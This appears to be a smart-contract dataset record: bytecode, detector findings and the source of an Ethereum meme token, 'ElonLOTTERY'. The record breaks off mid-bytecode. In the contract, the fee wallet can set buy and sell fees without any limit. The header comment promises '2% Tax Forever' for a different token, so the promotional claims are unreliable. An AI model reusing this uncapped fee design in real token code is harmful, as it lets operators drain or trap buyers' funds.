ffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190600190039190505550600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600081548092919060010191905055508573ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef876040518082815260200191505060405180910390a35050505b505050565b60006132dc61479b565b6132e4614861565b6132ec614883565b6000806000806000600460008c60030b60030b815260200190815260200160002060008b60030b60030b81526020019081526020016000205414156133305761369e565b600c600460008c60030b60030b815260200190815260200160002060008b60030b60030b81526020019081526020016000205481548110151561336f57fe5b9060005260206000209060030201608060405190810160405290816000820160009054906101000a900460ff1660ff1660ff1681526020016000820160019054906101000a900461ffff1661ffff1661ffff168152602001600182015481526020016002820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681525050965060038a0360030b86600060028110151561343e57fe5b6020020181815250506003890360030b86600160028110151561345d57fe5b6020020181815250506040805190810160405280600081526020016000815250945060038a0393505b60038a0160030b8460030b1315156135d8576003890392505b6003890160030b8360030b1315156135cb578360030b8a60030b1480156134cb57508260030b8960030b145b156134d5576135be565b6000600c600460008760030b60030b815260200190815260200160002060008660030b60030b81526020019081526020016000205481548110151561351657fe5b90600052602060002090600302016001015411156135bd57600c600460008660030b60030b815260200190815260200160002060008560030b60030b81526020019081526020016000205481548110151561356d57fe5b90600052602060002090600302016001015485600160028110151561358e57fe5b6020020181815101915081815250508460006002811015156135ac57fe5b602002018051809190600101815250505b5b828060010193505061349f565b8380600101945050613486565b866020015191506135e8826144e0565b905060008560006002811015156135fb57fe5b602002015114156136215760648160ff166009540281151561361957fe5b04975061369d565b60648160ff16600a54600288600060028110151561363b57fe5b60200201510a020281151561364c57fe5b04600b60009054906101000a900463ffffffff1663ffffffff1686600160028110151561367557fe5b602002015181151561368357fe5b0460648360ff166009540281151561369757fe5b04010197505b5b5050505050505092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561370657600080fd5b80600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600073ffffffffffffffffffffffffffffffffffffffff16600660008361ffff1661ffff16815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415156137c357600080fd5b3373ffffffffffffffffffffffffffffffffffffffff16600760008361ffff1661ffff16815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614151561383b57600080fd5b42600760008361ffff1661ffff1681526020019081526020016000206002015410151561386757600080fd5b6138af81600760008461ffff1661ffff16815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16614223565b50565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561390f57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff16600660008661ffff1661ffff16815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480156139b25750600660008561ffff1661ffff16815260200190815260200160002060030160009054906101000a900460ff16155b15156139bd57600080fd5b82600660008661ffff1661ffff16815260200190815260200160002060000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600760008561ffff1661ffff1681526020019081526020016000209050428160020181905550828160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508181600101819055508361ffff167f31829e9d057f1095a6016bb319e553b5fa64419f5ad8b0147aeb1586b1dc3d0e84604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a250505050565b60095481565b600b60049054906101000a900460ff1681565b6000600660008361ffff1661ffff16815260200190815260200160002060030160029054906101000a900460ff169050919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515613ba357600080fd5b8060098190555050565b813373ffffffffffffffffffffffffffffffffffffffff16600660008361ffff1661ffff16815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141515613c77576000341115613c72573373ffffffffffffffffffffffffffffffffffffffff166108fc349081150290604051600060405180830381858888f19350505050158015613c70573d6000803e3d6000fd5b505b613d5a565b600860009054906101000a900460ff161515613c9257600080fd5b60648260ff1611158015613caa575060008260ff1610155b1515613cb557600080fd5b81600660008561ffff1661ffff16815260200190815260200160002060000160146101000a81548160ff021916908360ff1602179055508261ffff167fc72bc3ebe54db6ad5d04be20eb76955c1fbdfc05fc89a45d3959eca9f75e77cb600660008661ffff1661ffff16815260200190815260200160002060000160149054906101000a900460ff16604051808260ff1660ff16815260200191505060405180910390a25b505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515613dba57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff16600660008461ffff1661ffff16815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16148015613e5d5750600660008361ffff1661ffff16815260200190815260200160002060030160009054906101000a900460ff16155b15613ec25780600660008461ffff1661ffff168152602001908152602001600020600101819055508161ffff167f334cd32957a0eb9f4c727ed73fab8a13424e9da07e864bd7beb3f84c7650b3e8826040518082815260200191505060405180910390a25b5050565b600860009054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515613f3457600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515613f7057600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561408957600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f19350505050158015614108573d6000803e3d6000fd5b50565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561418c57600080fd5b6000600860006101000a81548160ff0219169083151502179055507f75db2c8af3a77c8f79f1e5f6f7606c455d1d3d974acad372b8f4c38d0b541a396001604051808215151515815260200191505060405180910390a1565b60056020528060005260406000206000915090508060000160009054906101000a900460030b908060000160049054906101000a900460030b905082565b80600660008461ffff1661ffff16815260200190815260200160002060000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600660008461ffff1661ffff16815260200190815260200160002060030160006101000a81548160ff0219169083151502179055508161ffff167f31829e9d057f1095a6016bb319e553b5fa64419f5ad8b0147aeb1586b1dc3d0e600660008561ffff1661ffff16815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a25050565b600080600090505b60318160ff1610156144d557600073ffffffffffffffffffffffffffffffffffffffff16848260ff1660318110151561439e57fe5b602002015173ffffffffffffffffffffffffffffffffffffffff1614156143c4576144c8565b838160ff166031811015156143d557fe5b602002015173ffffffffffffffffffffffffffffffffffffffff166108fc868360ff1660318110151561440457fe5b60200201519081150290604051600060405180830381858888f19350505050158015614434573d6000803e3d6000fd5b50838160ff1660318110151561444657fe5b602002015173ffffffffffffffffffffffffffffffffffffffff167f5afeca38b2064c23a692c4cf353015d80ab3ecc417b4f893f372690c11fbd9a6868360ff1660318110151561449357fe5b60200201516040518082815260200191505060405180910390a2848160ff166031811015156144be57fe5b6020020151830392505b8080600101915050614369565b829150509392505050565b60008073ffffffffffffffffffffffffffffffffffffffff16600660008461ffff1661ffff16815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614151561458b57600660008361ffff1661ffff16815260200190815260200160002060000160149054906101000a900460ff1660640190506145a1565b600b60049054906101000a900460ff1660640190505b919050565b6000600c80548091906001016145bc91906148a5565b50600c6001600c80549050038154811015156145d457fe5b906000526020600020906003020190508260ff168160000160016101000a81548161ffff021916908361ffff160217905550818160000160006101000a81548160ff021916908360ff160217905550600081600101819055506001600c8054905003600460008760030b60030b815260200190815260200160002060008660030b60030b81526020019081526020016000208190555060408051908101604052808660030b81526020018560030b815250600560006001600c8054905003815260200190815260200160002060008201518160000160006101000a81548163ffffffff021916908360030b63ffffffff16021790555060208201518160000160046101000a81548163ffffffff021916908360030b63ffffffff1602179055509050507f8f32e652c6806b682ac4685b78efed8695949d3dc61a1d22e96fedea32bab1f385856001600c8054905003604051808460030b81526020018360030b8152602001828152602001935050505060405180910390a15050505050565b61062060405190810160405280603190602082028038833980820191505090505090565b61062060405190810160405280603190602082028038833980820191505090505090565b608060405190810160405280600060ff168152602001600061ffff16815260200160008152602001600073ffffffffffffffffffffffffffffffffffffffff1681525090565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061482257805160ff1916838001178555614850565b82800160010185558215614850579182015b8281111561484f578251825591602001919060010190614834565b5b50905061485d91906148d7565b5090565b6040805190810160405280600290602082028038833980820191505090505090565b6040805190810160405280600290602082028038833980820191505090505090565b8154818355818111156148d2576003028160030283600052602060002091820191016148d191906148fc565b5b505050565b6148f991905b808211156148f55760008160009055506001016148dd565b5090565b90565b61497091905b8082111561496c57600080820160006101000a81549060ff02191690556000820160016101000a81549061ffff021916905560018201600090556002820160006101000a81549073ffffffffffffffffffffffffffffffffffffffff021916905550600301614902565b5090565b905600a165627a7a72305820be3d31cf1b4ded27c2bcd792c5a6fae0969aad5c77f55fcd0f7ed783874846fd0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}]}}
| 5,936 |
0x1354d2d933ea99b3b625ab88b040979c50422bbf
|
/**
*Submitted for verification at Etherscan.io on 2022-04-06
*/
/**
*Submitted for verification at Etherscan.io on 2022-04-04
*/
/**
https://t.me/DogeBaeEth
https://www.DogeBaeDAO.com
- 2% Tax Forever
- Join our TG & Visit website for all details
*/
pragma solidity ^0.8.10;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract ElonLOTTERY is Context, IERC20, Ownable { ////
mapping (address => uint) private _owned;
mapping (address => mapping (address => uint)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => User) private cooldown;
uint private constant _totalSupply = 1e12 * 10**9;
string public constant name = unicode"ElonLOTTERY"; ////
string public constant symbol = unicode"ELONLOTTERY"; ////
uint8 public constant decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address payable public _FeeAddress1;
address payable public _FeeAddress2;
address public uniswapV2Pair;
uint public _buyFee = 12;
uint public _sellFee = 12;
uint public _feeRate = 9;
uint public _maxBuyAmount;
uint public _maxHeldTokens;
uint public _launchedAt;
bool private _tradingOpen;
bool private _inSwap;
bool public _useImpactFeeSetter = true;
struct User {
uint buy;
bool exists;
}
event FeeMultiplierUpdated(uint _multiplier);
event ImpactFeeSetterUpdated(bool _usefeesetter);
event FeeRateUpdated(uint _rate);
event FeesUpdated(uint _buy, uint _sell);
event FeeAddress1Updated(address _feewallet1);
event FeeAddress2Updated(address _feewallet2);
modifier lockTheSwap {
_inSwap = true;
_;
_inSwap = false;
}
constructor (address payable FeeAddress1, address payable FeeAddress2) {
_FeeAddress1 = FeeAddress1;
_FeeAddress2 = FeeAddress2;
_owned[address(this)] = _totalSupply;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress1] = true;
_isExcludedFromFee[FeeAddress2] = true;
emit Transfer(address(0), address(this), _totalSupply);
}
function balanceOf(address account) public view override returns (uint) {
return _owned[account];
}
function transfer(address recipient, uint amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function totalSupply() public pure override returns (uint) {
return _totalSupply;
}
function allowance(address owner, address spender) public view override returns (uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public override returns (bool) {
if(_tradingOpen && !_isExcludedFromFee[recipient] && sender == uniswapV2Pair){
require (recipient == tx.origin, "pls no bot");
}
_transfer(sender, recipient, amount);
uint allowedAmount = _allowances[sender][_msgSender()] - amount;
_approve(sender, _msgSender(), allowedAmount);
return true;
}
function _approve(address owner, address spender, uint amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
bool isBuy = false;
if(from != owner() && to != owner()) {
// buy
if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(_tradingOpen, "Trading not yet enabled.");
require(block.timestamp != _launchedAt, "pls no snip");
if((_launchedAt + (1 hours)) > block.timestamp) {
require((amount + balanceOf(address(to))) <= _maxHeldTokens, "You can't own that many tokens at once."); // 5%
}
if(!cooldown[to].exists) {
cooldown[to] = User(0,true);
}
if((_launchedAt + (120 seconds)) > block.timestamp) {
require(amount <= _maxBuyAmount, "Exceeds maximum buy amount.");
require(cooldown[to].buy < block.timestamp + (30 seconds), "Your buy cooldown has not expired.");
}
cooldown[to].buy = block.timestamp;
isBuy = true;
}
// sell
if(!_inSwap && _tradingOpen && from != uniswapV2Pair) {
require(cooldown[from].buy < block.timestamp + (15 seconds), "Your sell cooldown has not expired.");
uint contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance > 0) {
if(_useImpactFeeSetter) {
if(contractTokenBalance > (balanceOf(uniswapV2Pair) * _feeRate) / 100) {
contractTokenBalance = (balanceOf(uniswapV2Pair) * _feeRate) / 100;
}
}
swapTokensForEth(contractTokenBalance);
}
uint contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
isBuy = false;
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee,isBuy);
}
function swapTokensForEth(uint tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint amount) private {
_FeeAddress1.transfer(amount / 2);
_FeeAddress2.transfer(amount / 2);
}
function _tokenTransfer(address sender, address recipient, uint amount, bool takefee, bool buy) private {
(uint fee) = _getFee(takefee, buy);
_transferStandard(sender, recipient, amount, fee);
}
function _getFee(bool takefee, bool buy) private view returns (uint) {
uint fee = 0;
if(takefee) {
if(buy) {
fee = _buyFee;
} else {
fee = _sellFee;
if(block.timestamp < _launchedAt + (30 minutes)) {
fee += 13;
}
}
}
return fee;
}
function _transferStandard(address sender, address recipient, uint amount, uint fee) private {
(uint transferAmount, uint team) = _getValues(amount, fee);
_owned[sender] = _owned[sender] - amount;
_owned[recipient] = _owned[recipient] + transferAmount;
_takeTeam(team);
emit Transfer(sender, recipient, transferAmount);
}
function _getValues(uint amount, uint teamFee) private pure returns (uint, uint) {
uint team = (amount * teamFee) / 100;
uint transferAmount = amount - team;
return (transferAmount, team);
}
function _takeTeam(uint team) private {
_owned[address(this)] = _owned[address(this)] + team;
}
receive() external payable {}
// external functions
function addLiquidity() external onlyOwner() {
require(!_tradingOpen, "Trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _totalSupply);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function openTrading() external onlyOwner() {
require(!_tradingOpen, "Trading is already open");
_tradingOpen = true;
_launchedAt = block.timestamp;
_maxBuyAmount = 20000000001 * 10**9; // 2%
_maxHeldTokens = 30000000000 * 10**9; // 3%
}
function manualswap() external {
require(_msgSender() == _FeeAddress1);
uint contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress1);
uint contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setFeeRate(uint rate) external {
require(_msgSender() == _FeeAddress1);
require(rate > 0, "Rate can't be zero");
// 100% is the common fee rate
_feeRate = rate;
emit FeeRateUpdated(_feeRate);
}
function setFees(uint buy, uint sell) external {
require(_msgSender() == _FeeAddress1);
_buyFee = buy;
_sellFee = sell;
emit FeesUpdated(_buyFee, _sellFee);
}
function toggleImpactFee(bool onoff) external {
require(_msgSender() == _FeeAddress1);
_useImpactFeeSetter = onoff;
emit ImpactFeeSetterUpdated(_useImpactFeeSetter);
}
function updateFeeAddress1(address newAddress) external {
require(_msgSender() == _FeeAddress1);
_FeeAddress1 = payable(newAddress);
emit FeeAddress1Updated(_FeeAddress1);
}
function updateFeeAddress2(address newAddress) external {
require(_msgSender() == _FeeAddress2);
_FeeAddress2 = payable(newAddress);
emit FeeAddress2Updated(_FeeAddress2);
}
// view functions
function thisBalance() public view returns (uint) {
return balanceOf(address(this));
}
function amountInPool() public view returns (uint) {
return balanceOf(uniswapV2Pair);
}
}
|
0x6080604052600436106101e75760003560e01c80635090161711610102578063a9059cbb11610095578063db92dbb611610064578063db92dbb614610579578063dcb0e0ad1461058e578063dd62ed3e146105ae578063e8078d94146105f457600080fd5b8063a9059cbb14610519578063b2131f7d14610539578063c3c8cd801461054f578063c9567bf91461056457600080fd5b8063715018a6116100d1578063715018a61461048f5780638da5cb5b146104a457806394b8d8f2146104c257806395d89b41146104e257600080fd5b80635090161714610424578063590f897e146104445780636fc3eaec1461045a57806370a082311461046f57600080fd5b806327f3a72a1161017a5780633bed4355116101495780633bed4355146103ae57806340b9a54b146103ce57806345596e2e146103e457806349bd5a5e1461040457600080fd5b806327f3a72a14610324578063313ce5671461033957806332d873d814610360578063367c55441461037657600080fd5b80630b78f9c0116101b65780630b78f9c0146102b257806318160ddd146102d25780631940d020146102ee57806323b872dd1461030457600080fd5b80630492f055146101f357806306fdde031461021c5780630802d2f614610260578063095ea7b31461028257600080fd5b366101ee57005b600080fd5b3480156101ff57600080fd5b50610209600d5481565b6040519081526020015b60405180910390f35b34801561022857600080fd5b506102536040518060400160405280600b81526020016a456c6f6e4c4f545445525960a81b81525081565b6040516102139190611933565b34801561026c57600080fd5b5061028061027b36600461199d565b610609565b005b34801561028e57600080fd5b506102a261029d3660046119ba565b61067e565b6040519015158152602001610213565b3480156102be57600080fd5b506102806102cd3660046119e6565b610694565b3480156102de57600080fd5b50683635c9adc5dea00000610209565b3480156102fa57600080fd5b50610209600e5481565b34801561031057600080fd5b506102a261031f366004611a08565b6106fb565b34801561033057600080fd5b506102096107e3565b34801561034557600080fd5b5061034e600981565b60405160ff9091168152602001610213565b34801561036c57600080fd5b50610209600f5481565b34801561038257600080fd5b50600854610396906001600160a01b031681565b6040516001600160a01b039091168152602001610213565b3480156103ba57600080fd5b50600754610396906001600160a01b031681565b3480156103da57600080fd5b50610209600a5481565b3480156103f057600080fd5b506102806103ff366004611a49565b6107f3565b34801561041057600080fd5b50600954610396906001600160a01b031681565b34801561043057600080fd5b5061028061043f36600461199d565b61088d565b34801561045057600080fd5b50610209600b5481565b34801561046657600080fd5b506102806108fb565b34801561047b57600080fd5b5061020961048a36600461199d565b610928565b34801561049b57600080fd5b50610280610943565b3480156104b057600080fd5b506000546001600160a01b0316610396565b3480156104ce57600080fd5b506010546102a29062010000900460ff1681565b3480156104ee57600080fd5b506102536040518060400160405280600b81526020016a454c4f4e4c4f545445525960a81b81525081565b34801561052557600080fd5b506102a26105343660046119ba565b6109b7565b34801561054557600080fd5b50610209600c5481565b34801561055b57600080fd5b506102806109c4565b34801561057057600080fd5b506102806109fa565b34801561058557600080fd5b50610209610a9e565b34801561059a57600080fd5b506102806105a9366004611a70565b610ab6565b3480156105ba57600080fd5b506102096105c9366004611a8d565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561060057600080fd5b50610280610b29565b6007546001600160a01b0316336001600160a01b03161461062957600080fd5b600780546001600160a01b0319166001600160a01b0383169081179091556040519081527f0e96f8986653644392af4a5daec8b04a389af0d497572173e63846ccd26c843c906020015b60405180910390a150565b600061068b338484610e74565b50600192915050565b6007546001600160a01b0316336001600160a01b0316146106b457600080fd5b600a829055600b81905560408051838152602081018390527f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a1910160405180910390a15050565b60105460009060ff16801561072957506001600160a01b03831660009081526004602052604090205460ff16155b801561074257506009546001600160a01b038581169116145b15610791576001600160a01b03831632146107915760405162461bcd60e51b815260206004820152600a6024820152691c1b1cc81b9bc8189bdd60b21b60448201526064015b60405180910390fd5b61079c848484610f98565b6001600160a01b03841660009081526003602090815260408083203384529091528120546107cb908490611adc565b90506107d8853383610e74565b506001949350505050565b60006107ee30610928565b905090565b6007546001600160a01b0316336001600160a01b03161461081357600080fd5b600081116108585760405162461bcd60e51b8152602060048201526012602482015271526174652063616e2774206265207a65726f60701b6044820152606401610788565b600c8190556040518181527f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd890602001610673565b6008546001600160a01b0316336001600160a01b0316146108ad57600080fd5b600880546001600160a01b0319166001600160a01b0383169081179091556040519081527f96511497113ddf59712b28350d7457b9c300ab227616bd3b451745a395a5301490602001610673565b6007546001600160a01b0316336001600160a01b03161461091b57600080fd5b4761092581611592565b50565b6001600160a01b031660009081526002602052604090205490565b6000546001600160a01b0316331461096d5760405162461bcd60e51b815260040161078890611af3565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600061068b338484610f98565b6007546001600160a01b0316336001600160a01b0316146109e457600080fd5b60006109ef30610928565b905061092581611617565b6000546001600160a01b03163314610a245760405162461bcd60e51b815260040161078890611af3565b60105460ff1615610a715760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b6044820152606401610788565b6010805460ff1916600117905542600f556801158e46094f6aca00600d556801a055690d9db80000600e55565b6009546000906107ee906001600160a01b0316610928565b6007546001600160a01b0316336001600160a01b031614610ad657600080fd5b6010805462ff00001916620100008315158102919091179182905560405160ff9190920416151581527ff65c78d1059dbb9ec90732848bcfebbec05ac40af847d3c19adcad63379d3aeb90602001610673565b6000546001600160a01b03163314610b535760405162461bcd60e51b815260040161078890611af3565b60105460ff1615610ba05760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b6044820152606401610788565b600680546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155610bdd3082683635c9adc5dea00000610e74565b806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610c1b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c3f9190611b28565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610c8c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cb09190611b28565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610cfd573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d219190611b28565b600980546001600160a01b0319166001600160a01b039283161790556006541663f305d7194730610d5181610928565b600080610d666000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610dce573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610df39190611b45565b505060095460065460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610e4c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e709190611b73565b5050565b6001600160a01b038316610ed65760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610788565b6001600160a01b038216610f375760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610788565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ffc5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610788565b6001600160a01b03821661105e5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610788565b600081116110c05760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610788565b600080546001600160a01b038581169116148015906110ed57506000546001600160a01b03848116911614155b15611533576009546001600160a01b03858116911614801561111d57506006546001600160a01b03848116911614155b801561114257506001600160a01b03831660009081526004602052604090205460ff16155b156113cf5760105460ff166111995760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642e00000000000000006044820152606401610788565b600f544214156111d95760405162461bcd60e51b815260206004820152600b60248201526a0706c73206e6f20736e69760ac1b6044820152606401610788565b42600f54610e106111ea9190611b90565b111561126457600e546111fc84610928565b6112069084611b90565b11156112645760405162461bcd60e51b815260206004820152602760248201527f596f752063616e2774206f776e2074686174206d616e7920746f6b656e7320616044820152663a1037b731b29760c91b6064820152608401610788565b6001600160a01b03831660009081526005602052604090206001015460ff166112cc576040805180820182526000808252600160208084018281526001600160a01b03891684526005909152939091209151825591519101805460ff19169115159190911790555b42600f5460786112dc9190611b90565b11156113b057600d548211156113345760405162461bcd60e51b815260206004820152601b60248201527f45786365656473206d6178696d756d2062757920616d6f756e742e00000000006044820152606401610788565b61133f42601e611b90565b6001600160a01b038416600090815260056020526040902054106113b05760405162461bcd60e51b815260206004820152602260248201527f596f75722062757920636f6f6c646f776e20686173206e6f7420657870697265604482015261321760f11b6064820152608401610788565b506001600160a01b038216600090815260056020526040902042905560015b601054610100900460ff161580156113e9575060105460ff165b801561140357506009546001600160a01b03858116911614155b156115335761141342600f611b90565b6001600160a01b038516600090815260056020526040902054106114855760405162461bcd60e51b815260206004820152602360248201527f596f75722073656c6c20636f6f6c646f776e20686173206e6f742065787069726044820152623